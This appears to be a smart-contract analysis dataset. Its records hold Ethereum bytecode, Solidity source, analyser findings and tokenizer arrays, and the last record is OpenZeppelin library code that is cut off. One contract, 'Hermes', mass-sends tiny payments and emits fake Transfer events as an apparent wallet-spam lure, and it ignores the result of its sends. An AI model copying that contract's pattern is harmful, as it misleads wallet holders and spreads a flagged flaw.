16040528093929190818152602001838380828437600092019190915250929550610855945050505050565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103c95781810151838201526020016103b1565b50505050905090810190601f1680156103f65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001600160a01b031660009081526001602052604090205460ff1690565b6000546001600160a01b031690565b6000546001600160a01b03163314610489576040805162461bcd60e51b81526020600482015260166024820152752637b39d282a37b5b2b72330b1ba37b93c9d10b3b7bb60511b604482015290519081900360640190fd5b6001600160a01b038216600081815260016020908152604091829020805460ff191685151590811790915582519384529083015280517fc51bc76e85d7d0c90c4b5997f05b52b2083dbc172428356efc86595a39353be59281900390910190a15050565b6000546001600160a01b031681565b60006003828154811061050b57fe5b6000918252602090912001546001600160a01b031692915050565b60035490565b6000546001600160a01b03163314610584576040805162461bcd60e51b81526020600482015260166024820152752637b39d282a37b5b2b72330b1ba37b93c9d10b3b7bb60511b604482015290519081900360640190fd5b6001600160a01b0381166105d7576040805162461bcd60e51b815260206004820152601560248201527404c6f673a50546f6b656e466163746f72793a30783605c1b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610651576040805162461bcd60e51b81526020600482015260166024820152752637b39d282a37b5b2b72330b1ba37b93c9d10b3b7bb60511b604482015290519081900360640190fd5b600061067c6040518060400160405280600781526020016650546f6b656e5f60c81b81525083610855565b61069f604051806040016040528060018152602001600560fc1b81525084610855565b6040516106ab9061095f565b604080825283519082015282518190602080830191606084019187019080838360005b838110156106e65781810151838201526020016106ce565b50505050905090810190601f1680156107135780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b8381101561074657818101518382015260200161072e565b50505050905090810190601f1680156107735780820380516001836020036101000a031916815260200191505b50945050505050604051809103906000f080158015610796573d6000803e3d6000fd5b506001600160a01b0381166000818152600260209081526040808320805460ff191660019081179091556003805491820181559093527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b90920180546001600160a01b03191684179055815192835290519293507f29a6acac9dfb0ad4354dee9c0f6c47484172fcd4bd86cd8a84c2ceee2cab0a7792918290030190a15050565b6001600160a01b031660009081526002602052604090205460ff1690565b805182516060918491849184910167ffffffffffffffff8111801561087957600080fd5b506040519080825280601f01601f1916602001820160405280156108a4576020820181803683370190505b509050806000805b85518110156108fd578581815181106108c157fe5b602001015160f81c60f81b8383806001019450815181106108de57fe5b60200101906001600160f81b031916908160001a9053506001016108ac565b5060005b84518110156109525784818151811061091657fe5b602001015160f81c60f81b83838060010194508151811061093357fe5b60200101906001600160f81b031916908160001a905350600101610901565b5091979650505050505050565b610fb28061096d8339019056fe6000600281905560a06040819052608082905262000021916003919062000236565b50604080516020810191829052600090819052620000429160049162000236565b506005805460ff191660121790553480156200005d57600080fd5b5060405162000fb238038062000fb2833981810160405260408110156200008357600080fd5b8101908080516040519392919084640100000000821115620000a457600080fd5b908301906020820185811115620000ba57600080fd5b8251640100000000811182820188101715620000d557600080fd5b82525081516020918201929091019080838360005b8381101562000104578181015183820152602001620000ea565b50505050905090810190601f168015620001325780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200015657600080fd5b9083019060208201858111156200016c57600080fd5b82516401000000008111828201881017156200018757600080fd5b82525081516020918201929091019080838360005b83811015620001b65781810151838201526020016200019c565b50505050905090810190601f168015620001e45780820380516001836020036101000a031916815260200191505b5060405250508251620002009150600390602085019062000236565b5080516200021690600490602084019062000236565b505060058054610100600160a81b031916336101000217905550620002d2565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200027957805160ff1916838001178555620002a9565b82800160010185558215620002a9579182015b82811115620002a95782518255916020019190600101906200028c565b50620002b7929150620002bb565b5090565b5b80821115620002b75760008155600101620002bc565b610cd080620002e26000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610312578063a9059cbb1461033e578063dd62ed3e1461036a578063fa3a16681461039857610100565b806370a082311461028c5780638dec3daa146102b257806395d89b41146102de5780639d8ed858146102e657610100565b806323b872dd116100d357806323b872dd14610204578063313ce5671461023a57806339509351146102585780633eaaf86b1461028457610100565b806306fdde0314610105578063095ea7b31461018257806311c6e741146101c257806318160ddd146101ea575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b03813516906020013561044a565b604080519115158252519081900360200190f35b6101e8600480360360208110156101d857600080fd5b50356001600160a01b03166104c7565b005b6101f26105be565b60408051918252519081900360200190f35b6101ae6004803603606081101561021a57600080fd5b506001600160a01b038135811691602081013590911690604001356105c4565b610242610687565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561026e57600080fd5b506001600160a01b038135169060200135610690565b6101f2610738565b6101f2600480360360208110156102a257600080fd5b50356001600160a01b031661073e565b6101e8600480360360408110156102c857600080fd5b50803590602001356001600160a01b0316610759565b61010d61090c565b6101e8600480360360408110156102fc57600080fd5b50803590602001356001600160a01b0316610967565b6101ae6004803603604081101561032857600080fd5b506001600160a01b038135169060200135610ab7565b6101ae6004803603604081101561035457600080fd5b506001600160a01b038135169060200135610afa565b6101f26004803603604081101561038057600080fd5b506001600160a01b0381358116916020013516610b10565b6103a0610b3b565b604080516001600160a01b039092168252519081900360200190f35b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104425780601f1061041757610100808354040283529160200191610442565b820191906000526020600020905b81548152906001019060200180831161042557829003601f168201915b505050505081565b60006001600160a01b03831661045f57600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600560019054906101000a90046001600160a01b03166001600160a01b031663289b3c0d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561051557600080fd5b505afa158015610529573d6000803e3d6000fd5b505050506040513d602081101561053f57600080fd5b50516001600160a01b03163314610596576040805162461bcd60e51b81526020600482015260166024820152754c6f673a50546f6b656e3a21676f7665726e616e636560501b604482015290519081900360640190fd5b600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546105f29083610b4f565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610621848484610b9f565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1681565b60006001600160a01b0383166106a557600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546106d39083610c4b565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60025481565b6001600160a01b031660009081526020819052604090205490565b60055460408051630762cd8d60e21b815233600482015290516101009092046001600160a01b031691631d8b363491602480820192602092909190829003018186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d60208110156107d257600080fd5b5051610818576040805162461bcd60e51b815260206004820152601060248201526f131bd9ce94151bdad95b8e88541bdbdb60821b604482015290519081900360640190fd5b6001600160a01b03811660009081526020819052604090205482111561087b576040805162461bcd60e51b81526020600482015260136024820152724c6f673a50546f6b656e3a2164657374726f7960681b604482015290519081900360640190fd5b6001600160a01b03811660009081526020819052604090205461089e9083610b4f565b6001600160a01b0382166000908152602081905260409020556002546108c49083610b4f565b6002556040805183815290516000916001600160a01b038416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104425780601f1061041757610100808354040283529160200191610442565b60055460408051630762cd8d60e21b815233600482015290516101009092046001600160a01b031691631d8b363491602480820192602092909190829003018186803b1580156109b657600080fd5b505afa1580156109ca573d6000803e3d6000fd5b505050506040513d60208110156109e057600080fd5b5051610a26576040805162461bcd60e51b815260206004820152601060248201526f131bd9ce94151bdad95b8e88541bdbdb60821b604482015290519081900360640190fd5b6001600160a01b038116600090815260208190526040902054610a499083610c4b565b6001600160a01b038216600090815260208190526040902055600254610a6f9083610c4b565b6002556040805183815290516001600160a01b038316916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60006001600160a01b038316610acc57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546106d39083610b4f565b6000610b07338484610b9f565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60055461010090046001600160a01b031690565b808203828111156104c1576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054610bc29082610b4f565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610bf19082610c4b565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b808201828110156104c1576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fdfea264697066735822122047ae4337e128923e4537023b6e0cfc7b675a2c7d641b7e0bcefb0024ee26256a64736f6c634300060c0033a2646970667358221220c6f153b65b174a620f7bf2141336d4b6d85997b14606805738f9061e3dfa24b164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2620, 2546, 8889, 22025, 2050, 2575, 2683, 2050, 2692, 19281, 2683, 17788, 20952, 19961, 10790, 2063, 8889, 27531, 2581, 22610, 2581, 22932, 25062, 2620, 1013, 1013, 5371, 1024, 2065, 10732, 1013, 12997, 18715, 2368, 21450, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 12997, 18715, 2368, 21450, 1063, 3853, 2131, 3995, 23062, 6651, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2131, 13876, 11045, 3630, 4842, 8844, 1006, 4769, 3206, 4215, 16200, 4757, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 2131, 13876, 11045, 24619, 10222, 4588, 3012, 1006, 4769, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,891
0x97906e2f548422eB05e21208DFF6857b012a2b67
contract Hermes { string public constant name = "↓ See Code Of The Contract ↓"; string public constant symbol = "Code ✓✓✓"; event Transfer(address indexed from, address indexed to, uint256 value); address owner; uint public index; constructor() public { owner = msg.sender; } function() public payable {} modifier onlyOwner() { require(msg.sender == owner); _; } function resetIndex(uint _n) public onlyOwner { index = _n; } function massSending(address[] _addresses) external onlyOwner { for (uint i = 0; i < _addresses.length; i++) { _addresses[i].send(777); emit Transfer(0x0, _addresses[i], 777); } } function withdrawBalance() public onlyOwner { owner.transfer(address(this).balance); } }
0x6080604052600436106100775763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100795780632986c0e51461010357806347c05c221461012a5780635fd8c7101461014a5780636b88f4ae1461015f57806395d89b4114610177575b005b34801561008557600080fd5b5061008e61018c565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100c85781810151838201526020016100b0565b50505050905090810190601f1680156100f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561010f57600080fd5b506101186101c5565b60408051918252519081900360200190f35b34801561013657600080fd5b5061007760048035602481019101356101cb565b34801561015657600080fd5b50610077610297565b34801561016b57600080fd5b506100776004356102ec565b34801561018357600080fd5b5061008e610308565b6040805190810160405280602081526020017fe286932053656520436f6465204f662054686520436f6e747261637420e2869381525081565b60015481565b60008054600160a060020a031633146101e357600080fd5b5060005b81811015610292578282828181106101fb57fe5b604051600160a060020a03602090920293909301351691600091506103099082818181858883f1935050505050828282818110151561023657fe5b90506020020135600160a060020a0316600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6103096040518082815260200191505060405180910390a36001016101e7565b505050565b600054600160a060020a031633146102ae57600080fd5b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f193505050501580156102e9573d6000803e3d6000fd5b50565b600054600160a060020a0316331461030357600080fd5b600155565b60408051808201909152600e81527f436f646520e29c93e29c93e29c930000000000000000000000000000000000006020820152815600a165627a7a72305820672228769c332efd8d9e86f52f517061467be31da58bdde67912ac4f9531ff890029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-send', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 21057, 2575, 2063, 2475, 2546, 27009, 2620, 20958, 2475, 15878, 2692, 2629, 2063, 17465, 11387, 2620, 20952, 2546, 2575, 27531, 2581, 2497, 24096, 2475, 2050, 2475, 2497, 2575, 2581, 3206, 24127, 1063, 5164, 2270, 5377, 2171, 1027, 1000, 1586, 2156, 3642, 1997, 1996, 3206, 1586, 1000, 1025, 5164, 2270, 5377, 6454, 1027, 1000, 3642, 100, 1000, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 4769, 3954, 1025, 21318, 3372, 2270, 5950, 1025, 9570, 2953, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1006, 1007, 2270, 3477, 3085, 1063, 1065, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,892
0x9790d540c58a79f2492657bed8da2c500010ef84
// File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, 